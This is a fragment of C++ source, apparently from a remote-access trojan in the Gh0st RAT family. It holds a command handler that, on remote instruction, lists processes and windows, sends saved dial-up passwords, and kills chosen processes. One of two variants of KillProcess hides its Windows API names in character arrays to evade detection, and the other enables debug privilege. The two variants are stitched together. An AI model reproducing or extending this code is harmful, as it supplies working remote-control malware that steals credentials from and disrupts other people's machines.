void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize) { HANDLE hProcess = NULL; char FBwWp14[] = {'O','p','e','n','P','r','o','c','e','s','s','\0'}; OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp14); char FBwWp15[] = {'T','e','r','m','i','n','a','t','e','P','r','o','c','e','s','s','\0'}; TerminateProcessT pTerminateProcess=(TerminateProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp15); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); for (unsigned int i = 0; i < nSize; i += 4) { hProcess = pOpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i)); pTerminateProcess(hProcess, 0); pCloseHandle(hProcess); } // 稍稍Sleep下,防止出错 char FBwWp25[] = {'S','l','e','e','p','\0'}; SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25); pSleep(100); // 刷新进程列表 SendProcessList(); // 刷新窗口列表 SendWindowsList(); }
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize) { HANDLE hProcess = NULL; DebugPrivilege(SE_DEBUG_NAME, TRUE); for (int i = 0; i < nSize; i += 4) { hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i)); TerminateProcess(hProcess, 0); CloseHandle(hProcess); } DebugPrivilege(SE_DEBUG_NAME, FALSE); // 稍稍Sleep下,防止出错 Sleep(100); // 刷新进程列表 SendProcessList(); // 刷新窗口列表 SendWindowsList(); }
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { SwitchInputDesktop(); switch (lpBuffer[0]) { case COMMAND_PSLIST: SendProcessList(); break; case COMMAND_WSLIST: SendWindowsList(); break; case COMMAND_DIALUPASS: SendDialupassList(); break; case COMMAND_KILLPROCESS: KillProcess((LPBYTE)lpBuffer + 1, nSize - 1); default: break; } }
CSystemManager::CSystemManager(CClientSocket *pClient) : CManager(pClient) { SendProcessList(); }